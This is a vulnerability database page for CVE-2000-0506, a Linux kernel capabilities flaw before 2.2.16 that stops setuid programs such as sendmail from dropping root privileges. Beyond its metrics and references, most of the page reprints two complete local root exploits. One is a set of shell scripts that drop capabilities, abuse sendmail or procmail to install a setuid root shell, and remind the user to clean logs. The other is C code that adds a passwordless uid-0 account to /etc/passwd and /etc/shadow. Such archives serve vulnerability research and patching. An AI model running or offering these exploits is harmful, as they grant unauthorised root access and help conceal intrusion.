CVE-2000-0506 : Detail

CVE-2000-0506

0.4%V3
Network
2000-10-13 02:00 +00:00
2004-09-02 07:00 +00:00

Alert for a CVE

Stay informed of any changes for a specific CVE.
Alert management

Descriptions

The "capabilities" feature in Linux before 2.2.16 allows local users to cause a denial of service or gain privileges by setting the capabilities to prevent a setuid program from dropping privileges, aka the "Linux kernel setuid/setcap vulnerability."

Informations

Metrics

Metric Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 20001

Publication date : 2000-06-06 22:00 +00:00
Author : Wojciech Purczynski
EDB Verified : Yes

#source: https://www.securityfocus.com/bid/1322/info # # POSIX "Capabilities" have recently been implemented in the Linux kernel. These "Capabilities" are an additional form of privilege control to enable more specific control over what priviliged processes can do. Capabilities are implemented as three (fairly large) bitfields, which each bit representing a specific action a privileged process can perform. By setting specific bits, the actions of priviliged processes can be controlled -- access can be granted for various functions only to the specific parts of a program that require them. It is a security measure. The problem is that capabilities are copied with fork() execs, meaning that if capabilities are modified by a parent process, they can be carried over. The way that this can be exploited is by setting all of the capabilities to zero (meaning, all of the bits are off) in each of the three bitfields and then executing a setuid program that attempts to drop priviliges before executing code that could be dangerous if run as root, such as what sendmail does. When sendmail attempts to drop priviliges using setuid(getuid()), it fails not having the capabilities required to do so in its bitfields. It continues executing with superuser priviliges, and can run a users .forward file as root leading to a complete compromise. Procmail can also be exploited in this manner. #!/bin/sh echo "+-----------------------------------------------------------+" echo "| Linux kernel 2.2.X (X<=15) & sendmail <= 8.10.1 |" echo "| local root exploit |" echo "| |" echo "| Bugs found and exploit written by Wojciech Purczynski |" echo "| [email protected] cliph/ircnet Vooyec/dalnet |" echo "+-----------------------------------------------------------+" TMPDIR=/tmp/foo SUIDSHELL=/tmp/sush SHELL=/bin/tcsh umask 022 echo "Creating temporary directory" mkdir -p $TMPDIR cd $TMPDIR echo "Creating anti-noexec library (capdrop.c)" cat <<_FOE_ > capdrop.c #define __KERNEL__ #include <linux/capability.h> #undef __KERNEL__ #include <linux/unistd.h> _syscall2(int, capset, cap_user_header_t, header, const cap_user_data_t, data) extern int capset(cap_user_header_t header, cap_user_data_t data); void unsetenv(const char*); void _init(void) { struct __user_cap_header_struct caph={_LINUX_CAPABILITY_VERSION, 0}; struct __user_cap_data_struct capd={0, 0, 0xfffffe7f}; unsetenv("LD_PRELOAD"); capset(&caph, &capd); system("echo|/usr/sbin/sendmail -C$TMPDIR/sm.cf $USER"); } _FOE_ echo "Compiling anti-noexec library (capdrop.so)" cc capdrop.c -c -o capdrop.o ld -shared capdrop.o -o capdrop.so echo "Creating suid shell (sush.c)" cat <<_FOE_ > sush.c #include <unistd.h> int main() { setuid(0); setgid(0); execl("/bin/sh", "sh", NULL); } _FOE_ echo "Compiling suid shell (sush.c)" cc sush.c -o $TMPDIR/sush echo "Creating shell script" cat <<_FOE_ >script mv $TMPDIR/sush $SUIDSHELL chown root.root $SUIDSHELL chmod 4111 $SUIDSHELL exit 0 _FOE_ echo "Creating own sm.cf" cat <<_FOE_ >$TMPDIR/sm.cf O QueueDirectory=$TMPDIR O ForwardPath=/no_forward_file S0 R\$* \$#local \$: \$1 Mlocal, P=$SHELL, F=lsDFMAw5:/|@qSPfhn9, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL, T=DNS/RFC822/X-Unix, A=$SHELL $TMPDIR/script _FOE_ echo "Dropping CAP_SETUID and calling sendmail" export LD_PRELOAD=$TMPDIR/capdrop.so /bin/true unset LD_PRELOAD echo "Waiting for suid shell ($SUIDSHELL)" while [ ! -f $SUIDSHELL ]; do sleep 1; done echo "Removing everything" cd .. rm -fr $TMPDIR echo "Suid shell at $SUIDSHELL" $SUIDSHELL #!/bin/sh echo "+-----------------------------------------------------+" echo "| Sendmail & procmail & kernel local root exploit |" echo "| |" echo "|Bugs found and exploit written by Wojciech Purczynski|" echo "| [email protected] cliph/ircnet Vooyec/dalnet |" echo "+-----------------------------------------------------+" echo Creating cap.c cat <<_FOE_ > cap.c #define __KERNEL__ #include <linux/capability.h> #undef __KERNEL__ #include <linux/unistd.h> _syscall2(int, capset, cap_user_header_t, header, const cap_user_data_t, data) extern int capset(cap_user_header_t header, cap_user_data_t data); int main() { struct __user_cap_header_struct caph={ _LINUX_CAPABILITY_VERSION, 0 }; struct __user_cap_data_struct capd={ 0, 0, 0xfffffe7f }; capset(&caph, &capd); system("echo|/usr/sbin/sendmail $USER"); } _FOE_ echo Creating $HOME/.procmailrc PROCMAILRCBAK=$HOME/.procmailrc.bak mv -f $HOME/.procmailrc $PROCMAILRCBAK cat <<_FOE_ > $HOME/.procmailrc :H * |/bin/tcsh -c "rm -fr /bin/sush; mv -f /tmp/sush /bin/sush; chown root.root /bin/sush; chmod 4111 /bin/sush" _FOE_ echo Compiling cap.c -> cap cc cap.c -o cap echo Creating sush.c cat <<_FOE_ > sush.c #include <unistd.h> int main() { setuid(0); setgid(0); execl("/bin/bash", "bash", NULL); } _FOE_ echo Compiling sush cc sush.c -o /tmp/sush echo Executing cap ./cap echo Don\'t forget to clean logs echo Waiting for suid shell while [ ! -f /bin/sush ]; do sleep 1 done echo Cleaning everything rm -fr $HOME/.procmailrc cap.c cap sush.c mv $PROCMAILRCBAK $HOME/.procmailrc echo Executing suid shell /bin/sush
Exploit Database EDB-ID : 20000

Publication date : 2000-06-06 22:00 +00:00
Author : Florian Heinz
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/1322/info POSIX "Capabilities" have recently been implemented in the Linux kernel. These "Capabilities" are an additional form of privilege control to enable more specific control over what priviliged processes can do. Capabilities are implemented as three (fairly large) bitfields, which each bit representing a specific action a privileged process can perform. By setting specific bits, the actions of priviliged processes can be controlled -- access can be granted for various functions only to the specific parts of a program that require them. It is a security measure. The problem is that capabilities are copied with fork() execs, meaning that if capabilities are modified by a parent process, they can be carried over. The way that this can be exploited is by setting all of the capabilities to zero (meaning, all of the bits are off) in each of the three bitfields and then executing a setuid program that attempts to drop priviliges before executing code that could be dangerous if run as root, such as what sendmail does. When sendmail attempts to drop priviliges using setuid(getuid()), it fails not having the capabilities required to do so in its bitfields. It continues executing with superuser priviliges, and can run a users .forward file as root leading to a complete compromise. Procmail can also be exploited in this manner. compile these 2 and create a file "mail": From: [email protected] To: [email protected] Subject: foo bar . then create a .forward with: |/path/to/add then just do: ./ex < mail this should add a user yomama with uid/gid = 0 and without a password set a simple su - yomama should give you root. This exploit was written by me in a hurry, I hope there are no mistakes */ -- snip -- ex.c -- #include <linux/capability.h> int main (void) { cap_user_header_t header; cap_user_data_t data; header = malloc(8); data = malloc(12); header->pid = 0; header->version = _LINUX_CAPABILITY_VERSION; data->inheritable = data->effective = data->permitted = 0; capset(header, data); execlp("/usr/sbin/sendmail", "sendmail", "-t", NULL); } -- snap -- ex.c -- -- snip -- add.c -- #include <fcntl.h> int main (void) { int fd; char string[40]; seteuid(0); fd = open("/etc/passwd", O_APPEND|O_WRONLY); strcpy(string, "yomama:x:0:0::/root:/bin/sh\n"); write(fd, string, strlen(string)); close(fd); fd = open("/etc/shadow", O_APPEND|O_WRONLY); strcpy(string, "yomama::11029:0:99999:7:::"); write(fd, string, strlen(string)); close(fd); } -- snap -- add.c --

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version 2.0

Linux>>Linux_kernel >> Version 2.0.30

Linux>>Linux_kernel >> Version 2.0.33

Linux>>Linux_kernel >> Version 2.0.34

Linux>>Linux_kernel >> Version 2.0.35

Linux>>Linux_kernel >> Version 2.0.36

Linux>>Linux_kernel >> Version 2.0.37

Linux>>Linux_kernel >> Version 2.0.38

Linux>>Linux_kernel >> Version 2.1

Linux>>Linux_kernel >> Version 2.2.0

Linux>>Linux_kernel >> Version 2.2.10

Linux>>Linux_kernel >> Version 2.2.12

Linux>>Linux_kernel >> Version 2.2.13

Linux>>Linux_kernel >> Version 2.2.14

Linux>>Linux_kernel >> Version 2.2.15

Linux>>Linux_kernel >> Version 2.2.15

Linux>>Linux_kernel >> Version 2.2.15_pre20

    Linux>>Linux_kernel >> Version 2.2.16

    Linux>>Linux_kernel >> Version 2.2.16

    References

    http://www.redhat.com/support/errata/RHSA-2000-037.html
    Tags : vendor-advisory, x_refsource_REDHAT
    http://www.securityfocus.com/bid/1322
    Tags : vdb-entry, x_refsource_BID
    ftp://sgigate.sgi.com/security/20000802-01-P
    Tags : vendor-advisory, x_refsource_SGI
    Click on the button to the left (OFF), to authorize the inscription of cookie improving the functionalities of the site. Click on the button to the left (Accept all), to unauthorize the inscription of cookie improving the functionalities of the site.